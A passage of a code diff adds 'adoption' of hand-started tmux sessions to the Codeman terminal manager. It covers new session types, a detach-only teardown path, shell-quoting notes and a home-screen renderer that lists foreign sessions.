+    // ADOPTION — DETACH-NOT-KILL, by construction rather than by discipline.
+    //
+    // An adopted session's wrapper is an ordinary session on OUR socket whose
+    // pane runs `tmux attach` (or `docker exec …`/`ssh …` then attach) against a
+    // FOREIGN server. Killing the wrapper kills our attach client, which is a
+    // DETACH on the foreign side; the human's session keeps running, and our
+    // grouped view session self-destroys via `destroy-unattached on`.
+    //
+    // The guard below is a formality more than a fence — `this.tmux()` only ever
+    // addresses our own socket, so no code path here CAN reach the foreign
+    // server. It is written out anyway so the intent survives future edits, the
+    // same way the non-owned-remote early return does.
+    if (session.adopt) {
+      console.log(`[TmuxManager] DETACH (adopted): tearing down wrapper only for ${session.muxName}`);
+      // A `docker exec` survives its client, so the in-container view would stay
+      // attached forever and leak. Best-effort, and it can only reach OUR view.
+      // See buildForeignDockerViewKillCommand for why local/remote need nothing.
+      // Fire and forget like the owned docker branch below: a daemon that stopped
+      // answering must not hold the event loop for the whole timeout.
+      if (session.adopt.location === 'docker' && session.adopt.docker) {
+        try {
+          exec(
+            buildForeignDockerViewKillCommand({
+              dockerBase: buildDockerBaseArgs(session.adopt.docker).join(' '),
+              containerName: session.adopt.docker.containerName,
+              socketPath: session.adopt.socketPath,
+              viewSession: session.adopt.viewSession || foreignViewSessionName(sessionId),
+            }),
+            { timeout: EXEC_TIMEOUT_MS },
+            () => {}
+          );
+        } catch {
+          // Best-effort: the container may be gone, or the view already collected.
+        }
+      }
+      if (isValidMuxName(session.muxName)) {
+        try {
+          await execAsync(`${this.tmux()} kill-session -t "${session.muxName}" 2>/dev/null`, {
+            timeout: EXEC_TIMEOUT_MS,
+          });
+        } catch {
+          // Wrapper may already be gone.
+        }
+      }
+      this.lastPaneCount.delete(session.muxName);
+      this.clearPaneExit(session.muxName);
+      this.sessions.delete(sessionId);
+      this.clearRemoteReconnectState(sessionId);
+      this.saveSessions();
+      this.emit('sessionKilled', { sessionId });
+      return true;
+    }
+
     if (session.remote && session.remote.owned === false) {
       console.log(`[TmuxManager] DETACH (non-owned remote): tearing down local pane only for ${session.muxName}`);
       if (isValidMuxName(session.muxName)) {
@@ -4678,19 +4812,24 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
 
 /**
  * The `bash -c` argument of a pane launch (`respawn-pane … bash -c <arg>`, run through the
- * local sh). A remote or docker command is already quoted for the shell at the far end and
- * must reach bash verbatim, so it goes in single quotes. Double quotes (JSON.stringify) let
- * the local sh expand every `$` first: the PATH bootstrap of `withRemoteTmuxPath`
- * (`$HOME/.local/bin:…:$PATH`) arrived on the remote host as this host's home and PATH, so
- * a remote user with another home found no tmux and every new remote pane exited 127.
- * `${SHELL:-/bin/sh}` in the remote launch was the local shell for the same reason.
- * Local commands keep their double-quoted form.
+ * local sh). A remote, docker or adopted command is already quoted for the shell at the far
+ * end and must reach bash verbatim, so it goes in single quotes. Double quotes
+ * (JSON.stringify) let the local sh expand every `$` first: the PATH bootstrap of
+ * `withRemoteTmuxPath` (`$HOME/.local/bin:…:$PATH`) arrived on the remote host as this
+ * host's home and PATH, so a remote user with another home found no tmux and every new
+ * remote pane exited 127. `${SHELL:-/bin/sh}` in the remote launch was the local shell for
+ * the same reason, and an adopted ssh attach carries the same bootstrap, so a tmux in the
+ * remote `~/.local/bin` was found by discovery and then missed by the attach. Single quotes
+ * also keep a real newline, which JSON escaping left as the two characters `\n`.
+ * An adopted attach goes verbatim at all three locations, the local one included: every
+ * value in it is already quoted by `foreign-tmux.ts`, and nothing in it is for this shell.
+ * An agent launched on this host keeps its double-quoted form.
  *
  * ⚠️ So nothing in a verbatim launch is expanded on this host any more, the docker client's
  * own arguments included: a bare `$VAR` in `extraCreateArgs`/`extraExecArgs` reaches docker
  * as those literal characters.
  */
-function bashCArg(launchCmd: string, verbatim: boolean): string {
+export function bashCArg(launchCmd: string, verbatim: boolean): string {
   return verbatim ? shellescape(launchCmd) : JSON.stringify(launchCmd);
 }
 

src/types/foreign-tmux.ts

@@ -0,0 +1,106 @@
+/**
+ * @fileoverview Discovery contract for FOREIGN tmux sessions — the ones a human
+ * started by hand (`tmux new -s work`, then `claude` or `codex` inside it), which
+ * Codeman did not create and does not own.
+ *
+ * Codeman's own sessions live on a dedicated, instance-scoped socket
+ * (`tmux -L codeman`) and are gated by `SAFE_MUX_NAME_PATTERN`. Everything here
+ * is about the OTHER servers: the default socket, a colleague's `-L` socket, the
+ * tmux inside a container, the tmux on an ssh host.
+ *
+ * Key exports:
+ * - ForeignTmuxLocation, WHERE a foreign tmux server lives — the same three
+ *   locations Codeman already runs sessions in (local / docker / remote).
+ * - ForeignPaneProbe, one parsed row of the probe script's output.
+ * - ForeignTmuxSession, one adoptable candidate as the UI sees it.
+ * - ForeignDiscoveryResult, one scan of one or more locations.
+ *
+ * ⚠️ `location` here describes where a candidate was FOUND. Once adopted, the
+ * location fact is carried by `SessionAdopt` (types/session.ts) instead. The two
+ * must never stand in for each other, or an un-adopted candidate starts looking
+ * like a live session.
+ *
+ * No I/O here. The probe/parse/classify core is `src/foreign-tmux.ts`; the three
+ * transports are `src/foreign-tmux-discovery.ts`.
+ */
+
+import type { SessionMode } from './session.js';
+
+/** Where a foreign tmux server lives. Mirrors Codeman's own three locations. */
+export type ForeignTmuxLocationKind = 'local' | 'docker' | 'remote';
+
+/**
+ * A location to scan. `hostId` refers to the saved docker-host / remote-host
+ * registry entry, so the transport can be rebuilt without trusting the browser.
+ */
+export interface ForeignTmuxLocation {
+  kind: ForeignTmuxLocationKind;
+  /** Registry id (`docker-hosts.json` / `remote-hosts.json`). Absent for local. */
+  hostId?: string;
+  /** Display label for the UI. Absent for local. */
+  label?: string;
+  /** Container to `docker exec` into (`kind === 'docker'`). */
+  containerName?: string;
+}
+
+/** One pane row from the probe script, after parsing. */
+export interface ForeignPaneProbe {
+  socketPath: string;
+  sessionName: string;
+  windowIndex: number;
+  paneId: string;
+  panePid: number;
+  /** tmux's own idea of the running command — `node` for both claude and codex. */
+  paneCurrentCommand: string;
+  paneCurrentPath: string;
+  sessionAttached: boolean;
+  /** tmux `session_created`, epoch SECONDS. */
+  sessionCreated: number;
+  windows: number;
+}
+
+/** One adoptable foreign session. */
+export interface ForeignTmuxSession {
+  /**
+   * Stable, opaque id for the UI and the adopt request. Derived from
+   * location + socket + session name, so it survives a re-scan and can be
+   * matched against an already-adopted session without echoing raw paths back
+   * through the browser as command inputs.
+   */
+  id: string;
+  location: ForeignTmuxLocationKind;
+  hostId?: string;
+  hostLabel?: string;
+  containerName?: string;
+  /** Absolute socket path AS SEEN FROM THE LOCATION (not from Codeman's host). */
+  socketPath: string;
+  sessionName: string;
+  windows: number;
+  attached: boolean;
+  /** Epoch MILLISECONDS (tmux reports seconds; normalized on parse). */
+  createdAt: number;
+  /**
+   * What the session's FIRST LISTED pane is running, from the bounded process-tree
+   * walk. Not the active window: claude in window 1 of a session whose window 0 holds
+   * a shell reads as `shell`. The tab lands on that same first window, so the two agree.
+   */
+  mode: SessionMode;
+  /** Truncated command line behind the classification, for the UI subtitle. */
+  command: string;
+  /** That same pane's cwd. Informational: an adopted pane is never `cd`'d. */
+  workingDir: string;
+  /** Codeman session id already wrapping this target, when one exists. */
+  adoptedBy?: string;
+}
+
+/** One discovery scan. Never throws — unreachable locations become notes. */
+export interface ForeignDiscoveryResult {
+  sessions: ForeignTmuxSession[];
+  /** Epoch ms of the scan the result came from (may be a cache hit). */
+  scannedAt: number;
+  /**
+   * Non-fatal reasons a location produced nothing (host unreachable, no tmux,
+   * engine down). Surfaced so an empty list is never silently ambiguous.
+   */
+  notes: string[];
+}

src/types/index.ts

@@ -75,4 +75,5 @@ export * from './search.js';
 export * from './user.js';
 export * from './webview.js';
 export * from './intent.js';
+export * from './foreign-tmux.js';
 export * from './mcp-sync.js';

src/types/session.ts

@@ -366,6 +366,74 @@ export interface SessionDocker {
   owned?: boolean;
 }
 
+/**
+ * Connection facts needed to reach an adopted foreign tmux server. Deliberately
+ * the exact `Pick`s that `buildSshConnectionArgs` / `buildDockerBaseArgs` consume,
+ * so an adopted session can rebuild its command after a server restart without
+ * re-reading a registry that may have been edited in the meantime.
+ */
+export interface AdoptRemoteConnection extends RemoteSshOptions {
+  hostId: string;
+  label: string;
+  host: string;
+  username: string;
+  port?: number;
+}
+
+export interface AdoptDockerConnection {
+  hostId: string;
+  label: string;
+  engine: DockerEngine;
+  containerName: string;
+  daemonHost?: string;
+  context?: string;
+}
+
+/**
+ * ADOPTION overlay — a tmux session a HUMAN started, that Codeman attached to.
+ *
+ * This is the FOURTH location overlay, alongside remote-SSH and Docker, and it
+ * obeys the same rule they do: it is **not** a `SessionMode`. The mode is still
+ * claude / codex / shell / …, decided by the process-tree probe rather than by
+ * the user.
+ *
+ * Shape of an adopted session: Codeman creates a NORMAL wrapper session on its
+ * OWN socket (`codeman-<8hex>`, so `isValidMuxName` and every capture/input/
+ * recovery path is untouched) whose single pane runs a command that attaches to
+ * the foreign target. Killing the tab kills only the wrapper — the foreign
+ * session is structurally out of reach, exactly like a non-owned remote session.
+ *
+ * ⚠️ There is no `owned` field here, unlike `SessionRemote`/`SessionDocker`: an
+ * adopted session is *by definition* someone else's. A field that could be true
+ * would invite a code path that kills it.
+ */
+export interface SessionAdopt {
+  /** Where the foreign tmux server lives. */
+  location: 'local' | 'docker' | 'remote';
+  /** Absolute socket path as seen FROM that location (passed to `tmux -S`). */
+  socketPath: string;
+  /** The foreign session we attach to. Never Codeman-named, never name-validated. */
+  targetSession: string;
+  /**
+   * Our own grouped VIEW session on the foreign server. Grouping (rather than a
+   * bare `attach`) buys `status off` and an independent CURRENT WINDOW, both of
+   * which land on our session instead of mutating the owner's.
+   *
+   * ⚠️ It does NOT buy an independent size, and the comment here used to claim it
+   * did. A window is one object with one size and a group shares that object, so
+   * our attach resizes the owner's view exactly as any second tmux client does
+   * (measured on 3.3a: bare attach and grouped both shrink a 200x49 target to
+   * 80x23; only `window-size largest` holds it, and that is a shared window
+   * option which survives our detach — see foreign-tmux.ts for why it is not set).
+   * Created with `destroy-unattached on` so it evaporates with our pane.
+   */
+  viewSession: string;
+  /** The pane cwd at adoption time. Informational: an adopted pane is never `cd`'d. */
+  paneCurrentPath?: string;
+  remote?: AdoptRemoteConnection;
+  docker?: AdoptDockerConnection;
+}
+
 /**
  * Valid Claude CLI effort levels (claude >= 2.1.154).
  * `ultracode` = xhigh effort + standing dynamic-workflow orchestration; it is a
@@ -884,6 +952,12 @@ export interface SessionState {
   remote?: SessionRemote;
   /** Docker execution metadata, present when this session runs inside a container via local tmux + docker exec */
   docker?: SessionDocker;
+  /**
+   * Adoption metadata, present when this session is a wrapper around a tmux
+   * session a human started outside Codeman. Its presence is what disables
+   * respawn/Ralph/orchestrator and hook-backed waits for the session.
+   */
+  adopt?: SessionAdopt;
   /** Owning username in multi-user mode; undefined in single-user (ignored when the flag is off) */
   owner?: string;
   /**

src/web/CLAUDE.md

@@ -46,6 +46,8 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 **Desktop home tab rail** (`home-sessions.js`, desktop only): the welcome overlay's left gutter carries the open tabs as a rail docked flush left, full height, in overview order, each row showing `created … · <state> <duration>` from `_mobileOverviewSince()`; state classification is reused from mobile-overview.js (so it loads after it). ⚠️ The number badge is the Alt+1..9 tab-strip index, never renumber it to row position. ⚠️ The width gate lives in two places that must stay equal: `HOME_SESSIONS_MIN_WIDTH` (1180) and a `max-width: 1179px` media query. ⚠️ `.home-sessions[hidden]` must re-assert `display: none`. ⚠️ Size all children in `em` off the one `clamp()` knob, never `rem`/px. Age stamps tick in place (`_tickHomeSessionsTimes()`), never by re-render. Test: `test/home-sessions.test.ts`. → [architecture-invariants#desktop-home-tab-rail](../../docs/architecture-invariants.md#desktop-home-tab-rail)
 
+**Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module).
+
 **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order)
 
 **Welcome "Resume Conversation" list** (terminal-ui.js): `loadHistorySessions()` fetches once and caches the corpus on `_historyAll`/`_historyCases`; every subsequent view (filter box, sort select, expand, the periodic refresh in panels-ui.js) goes through `_renderHistoryList()`, so never append rows to `#historyList` directly or re-fetch to re-sort. ⚠️ The box height is **class-driven**: expanding the list without `.history-list.expanded` leaves the collapsed `max-height` in place and just deepens a scroll well, which is the bug #260 reported (35 sessions in a ~4-row box). ⚠️ The A–Z sort keys off `_historyRowLabel()`, the SAME string the row renders (`name || firstPrompt || path`), most rows are transcript-backed and have no session name, so sorting on `name` alone silently does nothing. ⚠️ A filter implies expansion, and `_renderSearch()` hides `#historyHeader` (title + controls) as one unit while a search is active. Tests: `test/history-list-controls.test.ts`.

src/web/edit-history-sync.ts

@@ -79,6 +79,8 @@ export interface EditHistorySession {
   mode: string;
   remote: SessionRemote | undefined;
   docker?: unknown;
+  /** Set on a wrapper around a foreign tmux session: Codeman holds no transcript id for what runs there. */
+  adopt?: unknown;
   claudeSessionId: string | null;
   /** The session's own `CLAUDE_CONFIG_DIR` (Codeman env override), if it has one. */
   claudeConfigDir?: string;
@@ -129,6 +131,7 @@ export function remoteTranscriptIds(session: EditHistorySession, storedTranscrip
 /** Why a session has no edit history, or undefined when it can have one. */
 export function unsupportedReason(session: EditHistorySession): string | undefined {
   if (session.docker) return 'docker';
+  if (session.adopt) return 'adopted';
   if (getCli(session.mode)?.capabilities.transcript !== 'claude-jsonl') return 'mode';
   return undefined;
 }

src/web/paste-image-gc.ts

@@ -57,7 +57,9 @@ export const DISCORD_RECEIVED_DIR = '.codeman-discord';
  * and is listed, or the uploads of a workspace like `~/.codeman/app` would
  * never be collected), and nothing for a remote (SSH) session, whose
  * workingDir is the remote path and would name a same-named LOCAL directory
- * here. The working directory is a user-chosen path, so it is probed BOUNDED
+ * here, or for an adopted session, whose workingDir is the neutral `/tmp` that
+ * other sessions may really work in (it receives no uploads). The working
+ * directory is a user-chosen path, so it is probed BOUNDED
  * first (#516): one on a mount that stopped answering reads `unknown` and is
  * skipped, never touched. The sweep keeps the probe's stall cap; the delete,
  * acting on one path at the user's request, passes `pastCap`. The check is
@@ -66,10 +68,10 @@ export const DISCORD_RECEIVED_DIR = '.codeman-discord';
  * can.
  */
 export async function uploadDirs(
-  session: { workingDir: string; remote?: unknown },
+  session: { workingDir: string; remote?: unknown; adopt?: unknown },
   probe: PathProbeOptions = {}
 ): Promise<string[]> {
-  if (session.remote) return [];
+  if (session.remote || session.adopt) return [];
   if ((await probePathKind(session.workingDir, probe)) !== 'directory') return [];
   const dataDir = await realDir(getDataDir());
   const dirs: string[] = [];

src/web/public/app.js

@@ -10308,11 +10308,11 @@ class CodemanApp {
       // response re-reports the count, so a pane that starts keeping history
       // (claude switched to its inline view) goes back to the tail on the next
       // switch.
-      // A remote (ssh) or Docker session's local pane hosts a nested tmux client in the
-      // alternate screen, so it reports 0 while its byte tail is real scrollback.
+      // A remote (ssh), Docker or adopted session's local pane hosts a nested tmux client in
+      // the alternate screen, so it reports 0 while its byte tail is real scrollback.
       const shellSession = session?.mode === 'shell';
       const paneKeepsNoHistory =
-        !session?.remote && !session?.docker && this._paneHistoryLines?.get(sessionId) === 0;
+        !session?.remote && !session?.docker && !session?.adopt && this._paneHistoryLines?.get(sessionId) === 0;
       const useFullHistory = !shellSession && (paneKeepsNoHistory || !this._fullHistoryLoaded.has(sessionId));
       if (useFullHistory) this._fullHistoryLoaded.add(sessionId);
       const fetchStartedAt = performance.now();
@@ -10920,6 +10920,9 @@ class CodemanApp {
       // An SSE resync (handleInit) that landed mid-request rebuilds the list from
       // the server, which still had the session then.
       if (this.sessions.has(sessionId)) this._onSessionDeleted({ id: sessionId });
+      // The home screen read the outside-sessions list when the tab went, before this
+      // delete landed, so its row would say "Go to tab" with no tab until the next poll.
+      if (session?.adopt) void this.loadForeignSessions?.();
       if (killMux) {
         this.showToast('Session closed and tmux killed', 'success');
       } else {
@@ -10955,6 +10958,25 @@ class CodemanApp {
     const sessionNameEl = document.getElementById('closeConfirmSessionName');
     sessionNameEl.textContent = name;
 
+    // ⚠️ An ADOPTED session has no "kill" outcome to offer. Its wrapper is the
+    // only thing Codeman owns; the server's killSession refuses to reach the
+    // foreign server at all (see the adopted early return in tmux-manager). So
+    // the red "Terminate the session completely" option is not merely redundant
+    // here, it is a false promise about someone else's live work — and the kind
+    // of false promise that stops a user closing the tab at all. Hide it, and say
+    // what actually happens instead.
+    const killBtn = document.getElementById('closeConfirmKillBtn');
+    const keepTitle = document.getElementById('closeConfirmKeepTitle');
+    const keepDesc = document.getElementById('closeConfirmKeepDesc');
+    const adopted = !!session.adopt;
+    if (killBtn) killBtn.style.display = adopted ? 'none' : '';
+    if (keepTitle) keepTitle.textContent = adopted ? 'Close Tab' : 'Remove Tab';
+    if (keepDesc) {
+      keepDesc.textContent = adopted
+        ? 'Detaches only. The tmux session keeps running for whoever started it.'
+        : 'Tmux session keeps running in background';
+    }
+
     // A session in a Codeman-managed git worktree also offers to remove the worktree
     // (git worktree remove, never forced) once the session is gone. Read now, before the
     // session leaves this.sessions.
@@ -11014,7 +11036,18 @@ class CodemanApp {
     this.cancelCloseSession();
 
     if (sessionId) {
-      const gone = await this.closeSession(sessionId, killMux);
+      // ⚠️ For an ADOPTED session `killMux` does not mean what it means everywhere
+      // else. There is no agent of ours to terminate: the only thing it can reach
+      // is the WRAPPER we created, and the server's adopted branch in
+      // `killSession` tears that down without ever touching the foreign server.
+      // So "keep the tmux session running" has no useful meaning here: taking it
+      // literally leaves our wrapper AND its grouped view session parked on the
+      // user's own socket forever, one pair per tab they ever closed (measured:
+      // `codeman-view-*` survived every close and the row stayed "Go to tab" with
+      // no tab behind it). Always tear the wrapper down; the foreign session is
+      // structurally out of reach either way.
+      const adopted = !!this.sessions.get(sessionId)?.adopt;
+      const gone = await this.closeSession(sessionId, adopted ? true : killMux);
       if (gone && worktree) await this._removeWorktreeAfterClose?.(worktree, deleteBranch);
     }
   }

src/web/public/foreign-sessions.js

@@ -0,0 +1,459 @@
+/**
+ * @fileoverview The "sessions someone opened by hand" block on the home screen.
+ *
+ * A tmux session a human started (`tmux new -s work`, then `claude`, or just a
+ * shell) is invisible to Codeman: it lives on the DEFAULT socket, not the
+ * instance-scoped one Codeman owns. `GET /api/mux/foreign` finds those, and one
+ * click wraps one in a Codeman tab (`POST /api/sessions/adopt`).
+ *
+ * ## One renderer, two containers
+ *
+ * The welcome screen and the phone overview both show this list. They call the
+ * SAME `renderForeignSessions(container)` rather than each building rows, because
+ * two renderers are how one surface ends up calling a session "shell" while the
+ * other calls it "bash". Same reason `CodemanSessionOrder` is shared.
+ *
+ * ## Polling only while the home screen is up
+ *
+ * The list is a poll, not an SSE stream: the server caches a local scan on a TTL,
+ * so N tabs polling costs one scan per TTL no matter how many are open. But an
+ * open tab that has LEFT the home screen must stop — otherwise every background
+ * tab keeps sweeping tmux sockets forever. `startForeignPolling` /
+ * `stopForeignPolling` are called from `showWelcome`/`hideWelcome`.
+ *
+ * ⚠️ Docker and remote locations are NOT in that poll. Each costs a `docker exec`
+ * or a full ssh handshake per target, each with a ~12s timeout, so riding them
+ * along on an 8s tick stacks connections on a slow host — the one cost the
+ * server-side design explicitly refuses. The wide scan is therefore ONE-SHOT:
+ * turning the toggle on fetches once, and after that it is the user's Rescan
+ * button. The periodic poll stays local-only forever.
+ *
+ * The wide rows are kept separately (`_foreignWideSessions`) and merged into
+ * every local render, because a local-only poll's payload does not contain them
+ * and would otherwise wipe the container/remote rows off the list one tick after
+ * they appeared. Turning the toggle off discards them.
+ *
+ * ⚠️ Adoption creates a REAL session, so the button locks while in flight and the
+ * result goes through the app's normal idempotent create path
+ * (`_onSessionCreated` then `selectSession`) — never by inserting a tab here.
+ *
+ * @mixin Extends CodemanApp.prototype via Object.assign
+ * @dependency app.js (this.sessions, _onSessionCreated, selectSession)
+ * @dependency api-client.js (_api)
+ * @dependency ralph-panel.js (formatRelativeTime)
+ * @dependency i18n.js (codemanT, optional)
+ * @loadorder 12.565 of 16, after home-sessions.js, before git-status-ui.js
+ */
+
+/** Fallback poll cadence; the server sends its own in `pollIntervalMs`. */
+const FOREIGN_POLL_FALLBACK_MS = 8000;
+
+/** i18n.js's translator, or the English source where it has not loaded. */
+function foreignT(source) {
+  return typeof codemanT === 'function' ? codemanT(source) : source;
+}
+
+/** A row's mode, in the registry's own word for it. Falls back to the id, never a list of ids here. */
+function foreignModeLabel(mode) {
+  const catalog =
+    typeof window !== 'undefined' && Array.isArray(window.__codemanCliCatalog) ? window.__codemanCliCatalog : [];
+  return catalog.find((entry) => entry.id === mode)?.label || mode;
+}
+
+const FOREIGN_LOCATION_LABEL = {
+  local: 'this machine',
+  docker: 'container',
+  remote: 'remote',
+};
+
+Object.assign(CodemanApp.prototype, {
+  // ═══════════════════════════════════════════════════════════════
+  // Lifecycle
+  // ═══════════════════════════════════════════════════════════════
+
+  /**
+   * Begin polling. Idempotent: the home screen re-shows on several paths
+   * (boot, closing the last tab, a breakpoint change) and each would otherwise
+   * stack another interval on top of the last.
+   */
+  startForeignPolling() {
+    if (this._foreignPollTimer || this._foreignRefused) return;
+    void this.loadForeignSessions();
+    this._foreignPollTimer = setInterval(() => {
+      // Local only — see @fileoverview. The wide scan never rides the timer.
+      void this.loadForeignSessions();
+    }, this._foreignPollMs || FOREIGN_POLL_FALLBACK_MS);
+  },
+
+  /** Stop polling. MUST run on leaving the home screen — see @fileoverview. */
+  stopForeignPolling() {
+    if (!this._foreignPollTimer) return;
+    clearInterval(this._foreignPollTimer);
+    this._foreignPollTimer = null;
+  },
+
+  /** Whether the user asked for the expensive docker/remote scan too. */
+  foreignScanRemote() {
+    return this._foreignScanRemote === true;
+  },
+
+  /**
+   * Flip the wide scan. ON fetches containers and hosts ONCE; OFF discards what
+   * that fetch found, because those rows are not re-confirmed by any later poll
+   * and leaving them up would show a container session that may be long gone.
+   */
+  toggleForeignScanRemote() {
+    this._foreignScanRemote = !this._foreignScanRemote;
+    if (!this._foreignScanRemote) {
+      this._foreignWideSessions = [];
+      this._foreignWideNotes = [];
+      this.renderAllForeignSessions();
+      return;
+    }
+    void this.loadForeignSessions({ wide: true });
+  },
+
+  /** Re-run the expensive scan on demand. The only way wide rows ever refresh. */
+  rescanForeignWide() {
+    if (!this.foreignScanRemote()) return;
+    void this.loadForeignSessions({ wide: true });
+  },
+
+  // ═══════════════════════════════════════════════════════════════
+  // Data
+  // ═══════════════════════════════════════════════════════════════
+
+  /**
+   * Fetch the list. `wide` asks the server for containers and ssh hosts too, and
+   * ONLY an explicit user action ever passes it — never the interval.
+   */
+  async loadForeignSessions({ wide = false } = {}) {
+    if (this._foreignRefused) return;
+    const qs = wide ? '?docker=1&remote=1' : '';
+    if (wide) this._foreignWideLoading = true;
+    this.renderAllForeignSessions();
+    const res = await this._api(`/api/mux/foreign${qs}`);
+    if (wide) this._foreignWideLoading = false;
+    // ⚠️ A 403 is an answer, not a failed poll. The list is admin-only in multi-user
+    // mode (it shows other people's processes), so a non-admin has nothing to see here
+    // and nothing later on this page changes that: stop asking and show no block,
+    // instead of "Could not reach the server" under a heading they cannot use.
+    if (res?.status === 403) {
+      this._foreignRefused = true;
+      this.stopForeignPolling();
+      this.renderAllForeignSessions();
+      return;
+    }
+    const body = res?.ok ? await this._readJsonBody(res) : null;
+    const data = body?.success === true ? body.data : body?.success === false ? null : body;
+    if (!data) {
+      // A failed poll must not blank a list the user is looking at: keep the
+      // last good result and let the next tick recover.
+      this._foreignError = true;
+      this.renderAllForeignSessions();
+      return;
+    }
+    this._foreignError = false;
+    const rows = Array.isArray(data.sessions) ? data.sessions : [];
+    const notes = Array.isArray(data.notes) ? data.notes : [];
+    // Every note opens with its location (foreign-tmux-discovery.ts). A local one is
+    // re-read on each poll; a container or host one only by the next explicit scan,
+    // so it has to outlive the local polls in between.
+    const isLocalNote = (note) => String(note).startsWith('local:');
+    this._foreignNotes = notes.filter(isLocalNote);
+    if (wide) {
+      // Split by location: the local rows refresh on every tick, the rest only
+      // here, so they have to be stored apart or the next local-only payload
+      // (which cannot contain them) would read as "those sessions are gone".
+      this._foreignSessions = rows.filter((r) => (r.location || 'local') === 'local');
+      this._foreignWideSessions = rows.filter((r) => (r.location || 'local') !== 'local');
+      this._foreignWideNotes = notes.filter((note) => !isLocalNote(note));
+      this._foreignWideAt = Date.now();
+    } else {
+      this._foreignSessions = rows;
+    }
+    this._foreignCanScanWide = data.canScanWide === true;
+    if (Number.isFinite(data.pollIntervalMs)) this._foreignPollMs = data.pollIntervalMs;
+    this.renderAllForeignSessions();
+  },
+
+  /** Local rows plus whatever the last wide scan found. The render's one input. */
+  _allForeignRows() {
+    const local = Array.isArray(this._foreignSessions) ? this._foreignSessions : [];
+    if (!this.foreignScanRemote()) return local;
+    const wide = Array.isArray(this._foreignWideSessions) ? this._foreignWideSessions : [];
+    return wide.length ? local.concat(wide) : local;
+  },
+
+  /**
+   * Adopt one candidate.
+   *
+   * The in-flight lock is global, one adoption at a time from this page: it only
+   * stops a double-click. The server holds the real one-wrapper-per-target
+   * guarantee.
+   */
+  async adoptForeignSession(id, buttonEl) {
+    if (this._foreignAdoptInFlight) return;
+    this._foreignAdoptInFlight = true;
+    if (buttonEl) {
+      buttonEl.disabled = true;
+      buttonEl.textContent = foreignT('Opening…');
+    }
+    try {
+      const body = { id };
+      if (this.foreignScanRemote()) {
+        body.docker = true;
+        body.remote = true;
+      }
+      // ⚠️ `_api`, not `_apiJson`: the latter folds a network failure, a non-2xx
+      // and `success:false` all into null, and the server deliberately tells
+      // two different stories here — "that tmux session is no longer there" vs
+      // "could not reach it just now (…) — try again". Collapsing them showed a
+      // live remote session as deleted every time the link flickered.
+      const res = await this._api('/api/sessions/adopt', { method: 'POST', body });
+      const payload = await this._readJsonBody(res);
+      const session = payload && payload.success !== false ? payload.data?.session : null;
+      if (!session) {
+        const fallback = foreignT('Could not open that session. Refreshing the list.');
+        this.showToast?.(payload?.error || fallback, 'error');
+        await this.loadForeignSessions();
+        return;
+      }
+      const data = { session };
+      // Go through the app's normal create path so tab order, lineage lines and
+      // SSE-vs-POST ordering behave exactly as they do for a Run.
+      this._onSessionCreated?.(data.session);
+      await this.selectSession(data.session.id);
+      // Still one explicit user action, so a wide row's "Open" refreshes the
+      // wide list too — otherwise the row just adopted keeps reading as free.
+      await this.loadForeignSessions({ wide: this.foreignScanRemote() });
+    } finally {
+      this._foreignAdoptInFlight = false;
+      if (buttonEl) {
+        buttonEl.disabled = false;
+        buttonEl.textContent = foreignT('Open');
+      }
+    }
+  },
+
+  /** The error envelope, or null when there was no readable body at all. */
+  async _readJsonBody(res) {
+    if (!res) return null;
+    try {
+      return await res.json();
+    } catch {
+      return null;
+    }
+  },
+
+  // ═══════════════════════════════════════════════════════════════
+  // Render
+  // ═══════════════════════════════════════════════════════════════
+
+  /** Paint every mounted container (welcome + phone overview). */
+  renderAllForeignSessions() {
+    for (const id of ['foreignSessions', 'mobileForeignSessions']) {
+      const el = document.getElementById(id);
+      if (el) this.renderForeignSessions(el);
+    }
+  },
+
+  /**
+   * Render into one container. The ONLY row builder — see @fileoverview.
+   *
+   * Everything is built with DOM APIs and `textContent`: a session name and a
+   * command line come from another user's process, so they are never allowed
+   * near `innerHTML`.
+   */
+  renderForeignSessions(container) {
+    const rows = this._allForeignRows();
+    container.innerHTML = '';
+    if (this._foreignRefused) {
+      container.hidden = true;
+      return;
+    }
+
+    if (!rows.length) {
+      // Hidden rather than shown-empty: on a first run there is usually nothing,
+      // and an empty block on the welcome screen reads as a broken feature.
+      // A note is a REASON the list is empty, so a block carrying one must stay
+      // visible — hiding it is exactly how "where did my session go" becomes
+      // unanswerable.
+      const hasNotes =
+        (Array.isArray(this._foreignNotes) && this._foreignNotes.length > 0) ||
+        (Array.isArray(this._foreignWideNotes) && this._foreignWideNotes.length > 0);
+      // ⚠️ `canScanWide` must keep the block visible even with nothing to show.
+      // The scan toggle lives in the header, so hiding an empty block also hides
+      // the only control that could fill it — on a host with containers but no
+      // local tmux sessions that made the whole feature unreachable.
